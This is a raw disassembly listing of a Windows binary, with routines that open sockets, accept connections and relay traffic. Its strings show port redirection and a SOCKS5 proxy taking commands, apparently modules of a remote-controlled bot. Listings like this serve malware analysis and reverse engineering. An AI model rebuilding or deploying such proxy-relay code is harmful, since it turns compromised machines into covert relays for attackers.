		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B540	proc near		; CODE XREF: sub_40152Dj

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42B70A
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42B598
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B598:				; CODE XREF: sub_42B540+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42B5F2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B5F2:				; CODE XREF: sub_42B540+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42B622
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B622:				; CODE XREF: sub_42B540+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_50FC50
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B70A
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B676:				; CODE XREF: sub_42B540+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6A0
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6A0:				; CODE XREF: sub_42B540+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6DB
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6DB:				; CODE XREF: sub_42B540+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B676
		jmp	short loc_42B70A
; ---------------------------------------------------------------------------


loc_42B702:				; CODE XREF: sub_42B540+15Ej
					; sub_42B540+199j
		push	0Ah
		nop
		call	near ptr 2811D0Bh


loc_42B70A:				; CODE XREF: sub_42B540+27j
					; sub_42B540+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_50FC88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B71E
		push	eax
		call	edi	; closesocket


loc_42B71E:				; CODE XREF: sub_42B540+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42B72C
		push	esi
		call	edi	; closesocket


loc_42B72C:				; CODE XREF: sub_42B540+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42B540	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  48h	; H
		db 0BCh	; ¼
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ¡
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ñ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; è
		db 0A0h	;  
		db  67h	; g
		db 0FDh	; ý
		db 0FFh
		db  68h	; h
		db  80h	; €
		db  3Dh	; =
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Ç
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Ç
		db    6
		db 0C0h	; À
		db 0E1h	; á
		db  43h	; C
		db    0
		db 0E8h	; è
		db 0DAh	; Ú
		db  5Dh	; ]
		db 0FDh	; ý
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B830:				; CODE XREF: ___:loc_4015F0j
					; ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401B8B
		test	byte ptr [esp+8], 1
		jz	short loc_42B848
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B848:				; CODE XREF: ___:0042B83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B860	proc near		; CODE XREF: sub_401B8Bj
		jmp	sub_40179E
sub_42B860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B880	proc near		; CODE XREF: sub_4019E2j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B880
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42BAB8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B96B
		mov	edx, [esi+9Dh]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B96B:				; CODE XREF: sub_42B880+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42BA64


loc_42B97F:				; CODE XREF: sub_42B880+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42BA45
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42BA45
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42BA45
		push	0A9h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B9E5
		mov	ecx, eax
		call	sub_401663
		mov	edi, eax


loc_42B9E5:				; CODE XREF: sub_42B880+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FBE
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013D4


loc_42BA45:				; CODE XREF: sub_42B880+111j
					; sub_42B880+133j ...
		push	0FAh
		nop
		call	near ptr 2811D0Bh
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42B97F


loc_42BA64:				; CODE XREF: sub_42B880+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42BA76
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42BA76:				; CODE XREF: sub_42B880+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017E4
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h


loc_42BAB8:				; CODE XREF: sub_42B880+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B880	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42BB70	proc near		; CODE XREF: sub_4021DFj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42BB70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_42BB70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019B5
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42BE60:				; CODE XREF: ___:loc_40202Cj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BD84
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42BFC7
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh
		dd 7F000BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 3E80000h, 68FFFD53h,	443600h, 4C244C8Dh, 8B51026Ah
		dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	52CCE800h, 68FFFDh, 8D004436h
		dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h
		dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD528Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 0DE80000h
		db 54h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42BFC7:				; CODE XREF: ___:0042BE9Dj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C0F7
		push	9Dh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42C00E
		mov	ecx, eax
		call	sub_401889
		mov	edi, eax
		jmp	short loc_42C010
; ---------------------------------------------------------------------------


loc_42C00E:				; CODE XREF: ___:0042C001j
		xor	edi, edi


loc_42C010:				; CODE XREF: ___:0042C00Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C0F7:				; CODE XREF: ___:0042BFDAj
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C220
		push	0A2h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42C13E
		mov	ecx, eax
		call	sub_4018DE
		mov	edi, eax
		jmp	short loc_42C140
; ---------------------------------------------------------------------------


loc_42C13E:				; CODE XREF: ___:0042C131j
		xor	edi, edi


loc_42C140:				; CODE XREF: ___:0042C13Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42C1EE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42C1F5
; ---------------------------------------------------------------------------


loc_42C1EE:				; CODE XREF: ___:0042C1E3j
		mov	byte ptr [edi+9Dh], 0


loc_42C1F5:				; CODE XREF: ___:0042C1ECj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42C220:				; CODE XREF: ___:0042C10Aj
		lea	ecx, [ebp+8Eh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C2ED
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42C26A
		mov	ecx, eax
		call	sub_40216C
		mov	edi, eax
		jmp	short loc_42C26C
; ---------------------------------------------------------------------------


loc_42C26A:				; CODE XREF: ___:0042C25Dj
		xor	edi, edi


loc_42C26C:				; CODE XREF: ___:0042C268j
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C2ED:				; CODE XREF: ___:0042C236j
		lea	ecx, [ebp+0BCh]
		call	sub_4014D3
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C519
		lea	ecx, [esp+30h]
		call	sub_401424
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014D3
		cmp	eax, offset byte_446F70
		jnz	short loc_42C3CF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3CF:				; CODE XREF: ___:0042C3BFj
		lea	ecx, [esp+18h]
		call	sub_4014D3
		cmp	eax, offset byte_446F70
		jnz	short loc_42C3ED
		push	offset byte_446F70
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3ED:				; CODE XREF: ___:0042C3DDj
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		mov	edi, dword_50FB08
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C17
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42C519:				; CODE XREF: ___:0042C30Cj
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42C536
		mov	[ebp+11Ch], al


loc_42C536:				; CODE XREF: ___:0042C52Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C710	proc near		; CODE XREF: sub_4021A8j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A8D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42C731
		inc	ecx
		mov	[eax+118h], ecx


loc_42C731:				; CODE XREF: sub_42C710+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_42C710	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C790	proc near		; CODE XREF: sub_401E06j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_436F4E
sub_42C790	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 840D8B19h, 500050FAh, 6840C183h, 445414h, 4655E851h
		dd 83907781h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42C7E0:				; CODE XREF: ___:00401D7Aj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42C7F3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42C7F3
		add	eax, 44h
		retn
